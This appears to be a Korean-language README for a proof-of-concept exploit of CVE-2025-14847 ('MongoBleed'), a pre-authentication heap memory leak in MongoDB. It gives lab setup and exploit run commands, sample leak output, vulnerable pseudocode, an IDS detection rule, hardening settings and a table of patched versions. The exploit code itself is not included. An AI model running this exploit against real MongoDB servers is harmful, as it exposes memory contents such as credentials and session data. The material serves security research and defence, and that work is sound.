
CVE-2025-14847(MongoBleed)에 대한 기능적 개념 증명 익스플로잇으로, MongoDB의 사전 인증 힙 메모리 노출 취약점입니다. 자동화된 메모리 누수 탐지, 패턴 분석, 공인된 보안 테스트 및 연구를 위한 Docker 기반 실험실 환경을 포함합니다.
CVE-2025-14847 (MongoBleed)에 대한 완전한 개념 증명
테스트됨: ✅ MongoDB 7.0.5 | 14,300+ 성공적 익스플로잇 | 4개의 UUID 유출
이 저장소는 MongoBleed로 알려진 CVE-2025-14847 취약점에 대한 완전히 작동하는 개념 증명(PoC) 을 포함합니다. 이는 MongoDB의 인증 전 힙 메모리 누수 치명적 결함입니다.
2025년 12월, Rainbow Six Siege 게임은 약 50,000명의 플레이어 계정을 손상시킨 대규모 공격을 겪었습니다. 공격자가 백엔드 MongoDB에서 이 취약점을 악용하여 다음을 유출한 것으로 의심됩니다:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)이 PoC는 R6의 사실적인 데이터로 공격을 시뮬레이션합니다.
poc.py - 패턴 분석이 포함된 주요 익스플로잇live_leaker.py - 고급 증분 스캐닝popular_heap.py - 대상 데이터로 힙을 채우는 스크립트246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# 저장소 클론
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# 취약한 환경 시작
docker-compose up -d
# 초기화 대기 (15-20초)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. R6 데이터로 힙 채우기
python3 popular_heap.py 50
# 2. 취약점 확인
python3 poc.py --target 127.0.0.1 --check
# 3. 라이브 리커로 익스플로잇 (권장)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB는 zlib을 통한 메시지 압축을 허용합니다. 취약점은 선언된 크기와 실제 크기의 부적절한 검증에 있습니다:
공격자 → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
서버가 힙 1MB를 할당 ← 취약점
↓
서버가 50바이트만 압축 해제
↓
서버가 전체 1MB 반환!
└─ 50바이트 = 실제 데이터
└─ ~1MB - 50 = 메모리 누수
// 패치 전
size_t uncompressedSize = header.uncompressedSize; // ← 공격자 제어
buffer = malloc(uncompressedSize); // ← 악의적인 크기 할당
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← 전체 버퍼 누수
MongoDBPoc/
├── poc.py # 주요 익스플로잇
├── live_leaker.py # 증분 스캐닝 (✨ 권장)
├── popular_heap.py # 로드 스크립트
├── docker-compose.yml # 취약한 MongoDB 7.0.5
├── init-db.js # 1000명 플레이어 + 500개 R6 세션
├── GUIA_TECNICO_COMPLETO.md # 상세 문서 (200+ 페이지)
├── README.MD # 영어 문서
└── Portugues/ # 번역 버전
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # 절대 0.0.0.0 사용 금지!
compression:
compressors: [] # zlib 비활성화
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - 완전한 기술 분석 (200+ 페이지)
README.MD - 주요 문서 (영어)
Portugues/ - 번역 버전
이 도구는 승인된 테스트 및 교육용으로만 제공됩니다.
무단 사용은 불법이며 다음과 같은 결과를 초래할 수 있습니다:
- 형사 고발 (브라질 법률 12.737/2012)
- 막대한 벌금
- 투옥
테스트 전에 항상 서면 허가를 받으십시오.
저자: Ermenson Jr
라이선스: MIT (교육용)
날짜: 2026년 1월
기술 문의 또는 보안 연구 협업:
책임 있는 공격적 보안 연구를 위해 개발되었습니다.
Ubisoft, MongoDB Inc. 또는 Rainbow Six Siege와 제휴하지 않았습니다.
🔒 책임감 있게 사용하세요. 보안은 모두를 위한 것입니다. 🔒
| 메트릭 | 결과 |
|---|
| 테스트된 MongoDB | 7.0.5 (취약) |
| 성공률 | 100% (14,300/14,300 요청) |
| 유출된 UUID | 4개 고유 |
| 총 누출 | 33개의 서로 다른 문자열 |
| 최대 누출 | 176바이트/요청 |
| 감지된 패턴 | 네트워크 로그, UUID, 시스템 경로 |
| MongoDB 시리즈 | 취약한 버전 | 수정된 버전 |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | 모두 | 패치 없음 (서비스 종료) |